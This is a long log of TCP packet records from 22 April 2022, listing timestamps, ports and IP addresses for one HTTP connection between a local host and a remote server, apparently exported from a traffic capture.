                                          Apr 22, 2022 16:15:22.384562016 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384578943 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384587049 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384589911 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384593010 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384766102 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384772062 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384780884 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384784937 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384799004 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384859085 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384864092 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.384957075 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384975910 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.384989023 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.385029078 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.385123968 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.385170937 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424123049 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424153090 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424166918 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424185038 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424197912 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424343109 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424365044 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424494982 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424515963 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424529076 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424546957 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424572945 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424576044 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424668074 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424674034 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424762964 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424777985 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424794912 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.424873114 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.424885035 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.448013067 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.452923059 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.463464022 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463493109 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463509083 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463526964 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463680029 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.463701010 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.463829041 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463848114 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463860989 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463900089 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.463912964 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.463948011 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.463954926 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.464467049 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464488983 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464504004 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464535952 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464571953 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464575052 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.464587927 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464601040 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.464756966 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464788914 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464809895 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.464816093 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.464842081 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.465085030 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.476497889 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.479619026 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.503587961 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.503612995 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.503627062 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.503662109 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.503676891 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.503885031 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.504168987 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504187107 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504199982 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504242897 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504260063 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504272938 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504290104 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504307985 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504323006 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504455090 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.504617929 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504645109 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504659891 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504882097 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504904985 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.504947901 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.504961014 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.505172968 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.505176067 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.505208969 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.505215883 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.505588055 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.505608082 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.505650997 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.527436018 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.528544903 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.543592930 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.543623924 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.543638945 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.543656111 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.543678045 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.543694973 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.543791056 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544138908 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544158936 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544172049 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544188976 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544213057 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544224024 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544226885 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544570923 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544617891 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544766903 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544781923 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544797897 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544816017 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544828892 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544835091 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544845104 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544881105 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544894934 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544899940 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544913054 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.544959068 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.544965029 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.552438021 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.554157972 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.583631039 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583663940 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583678007 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583697081 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583710909 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583719969 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.583738089 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.583741903 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.583764076 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.583967924 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.583986044 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584000111 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584018946 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584076881 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584086895 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584131956 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584214926 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584228039 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584244967 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584253073 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584261894 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584386110 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584472895 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584492922 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584506035 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584522963 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.584572077 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.584584951 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.607523918 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.611110926 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.623513937 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623543024 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623555899 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623569012 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623713970 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.623747110 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623765945 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623780012 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623796940 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.623917103 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.623928070 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624155998 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624191046 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624202967 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624221087 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624238014 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624250889 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624361038 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624378920 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624391079 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624423027 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624438047 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624442101 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624600887 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624620914 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624633074 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624650955 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.624711990 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624726057 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.624730110 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.634712934 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.638036013 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.663414955 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663448095 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663461924 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663479090 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663491964 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663522959 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.663573027 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.663899899 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663918972 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663930893 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.663973093 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.663973093 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664170027 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664180994 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664233923 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664254904 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664267063 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664285898 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664303064 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664316893 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664354086 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664365053 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664529085 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664549112 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664561033 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664589882 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664608002 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664621115 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664633036 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664643049 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664647102 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664740086 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.664781094 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.664807081 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.687138081 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.688399076 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.703248978 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703278065 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703293085 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703305960 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703478098 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.703505039 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.703728914 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703747034 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703762054 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703775883 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.703854084 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.703865051 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704102039 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704121113 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704133987 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704150915 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704184055 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704197884 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704199076 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704210997 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704216003 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704735994 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704761982 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704775095 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704808950 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704824924 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704895020 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704919100 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704932928 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.704963923 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.704972029 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.705044985 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.705167055 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.711971998 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.715708971 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743139029 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743174076 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743194103 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743217945 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743232965 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743237972 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743254900 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743257046 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743340015 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743483067 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743505955 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743522882 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743544102 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.743566990 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.743627071 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.744040012 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744064093 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744080067 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744123936 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744146109 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744159937 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744405031 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:22.744431019 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.744987011 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.811302900 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:22.834933043 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208308935 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208345890 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208362103 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208378077 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208395958 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208409071 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208468914 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208470106 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.208487034 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208488941 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.208502054 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208631039 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208657026 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208671093 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208694935 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.208705902 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.208709002 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.208894014 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.208909035 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.211312056 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.211329937 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248522997 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248558998 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248574972 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248594046 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248615980 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248627901 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248689890 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248692036 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248706102 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248759031 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248771906 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248785019 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248802900 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248811007 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248831034 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248841047 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248936892 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248958111 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248972893 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.248980045 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.248999119 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.249094963 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.249113083 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.249125957 CEST8049750146.70.35.138192.168.2.6
                                          Apr 22, 2022 16:15:23.249138117 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.249145985 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.249192953 CEST4975080192.168.2.6146.70.35.138
                                          Apr 22, 2022 16:15:23.249283075 CEST8049750146.70.35.138192.168.2.6
